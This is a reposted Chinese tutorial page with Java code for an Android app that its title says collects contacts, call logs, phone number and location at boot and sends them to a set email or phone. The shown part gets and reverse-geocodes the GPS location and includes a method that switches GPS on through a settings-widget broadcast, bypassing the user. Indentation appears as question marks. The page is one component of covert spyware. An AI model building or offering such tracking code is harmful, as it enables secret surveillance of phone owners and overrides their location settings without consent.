首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 移动开发 > 移动开发 >

开机兑现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(gps操作)

2012-09-10 
开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(gps操

开机实现将手机联系人、通话记录、手机号码、手机所在地、发送到指定邮箱里,失败则发送短信到指定手机之(gps操作)

public static String getCityNameByGps() {

??LocationManager lm = (LocationManager) context
????.getSystemService(Context.LOCATION_SERVICE);
??Criteria criteria = new Criteria();
??criteria.setAccuracy(Criteria.ACCURACY_FINE); // 高精度
??criteria.setAltitudeRequired(false); // 不要求海拔信息
??criteria.setBearingRequired(false); // 不要求方位信息
??criteria.setCostAllowed(true); // 是否允许付费
??criteria.setPowerRequirement(Criteria.POWER_LOW); // 低功耗
??String provider = lm.getBestProvider(criteria, true); // 获取GPS信息
??Location location = lm.getLastKnownLocation(provider); // 通过GPS获取位置

??updateToNewLocation(location);
??// 设置监听器,自动更新的最小时间为间隔N秒(1秒为1*1000,这样写主要为了方便)或最小位移变化超过N米
??LocationListener locationListener = new LocationListener() {
???@Override
???public void onLocationChanged(Location location) {
????updateToNewLocation(location);
???}

???@Override
???public void onProviderDisabled(String provider) {
????// TODO Auto-generated method stub
???}

???@Override
???public void onProviderEnabled(String provider) {
????// TODO Auto-generated method stub
???}

???@Override
???public void onStatusChanged(String provider, int status,
?????Bundle extras) {

???}

??};
??// lm.requestLocationUpdates(provider, 3000, 1, locationListener);
??return addressString;
?}

?/**
? *
? * [功能描述].
? *
? * @param location
? *??????????? [参数说明]
? * @createTime 2011-10-11 下午03:22:21
? */
?public static void updateToNewLocation(Location location) {
??// System.out.println("begin updateLocation****");

??if (location != null) {
???// System.out.println("location is null");
???double lat = location.getLatitude();
???double lon = location.getLongitude();
???// System.out.println("get lattitude from GPS ===>" + lat);
???// System.out.println("get Longitude from GPS ===>" + lon);

???// GeoPoint gPoint = new GeoPoint((int) lat, (int) lon);

???StringBuilder sb = new StringBuilder();

???Geocoder gc = new Geocoder(context, Locale.getDefault());
???try {
????List<Address> addresses = gc.getFromLocation(lat, lon, 1);
????if (addresses.size() > 0) {
?????Address address = addresses.get(0);
?????// for (int i = 0; i < address.getMaxAddressLineIndex();
?????// i++) {
?????sb.append(address.getAddressLine(1)).append("\n");
?????// sb.append(address.getLocality()).append("\n");

?????// sb.append(address.getCountryName()).append("\n");
?????addressString = sb.toString();

?????// }
????}

???} catch (IOException e) {
????// TODO Auto-generated catch block
????e.printStackTrace();
????addressString = "未知地区";
???}

??}
??// System.out.println("end updateLocation****");
?}

?/**
? * 获取GPS状态
? *
? * @param context
? * @return
? */
?public static boolean getGPSState() {
??LocationManager locationManager = (LocationManager) context
????.getSystemService(Context.LOCATION_SERVICE);
??// 判断GPS模块是否开启,如果没有则开启
??if (!locationManager
????.isProviderEnabled(android.location.LocationManager.GPS_PROVIDER)) {
???return false;
??} else {
???return true;
??}
?}

?public static void openGPS() {
??LocationManager locationManager = (LocationManager) context
????.getSystemService(Context.LOCATION_SERVICE);

??if (!locationManager
????.isProviderEnabled(android.location.LocationManager.GPS_PROVIDER)) {

???Intent gpsIntent = new Intent();
???gpsIntent.setClassName("com.android.settings",
?????"com.android.settings.widget.SettingsAppWidgetProvider");
???gpsIntent.addCategory("android.intent.category.ALTERNATIVE");
???gpsIntent.setData(Uri.parse("custom:3"));
???try {
????PendingIntent.getBroadcast(context, 0, gpsIntent, 0).send();
???} catch (CanceledException e) {
????e.printStackTrace();
???}
??}
?}

热点排行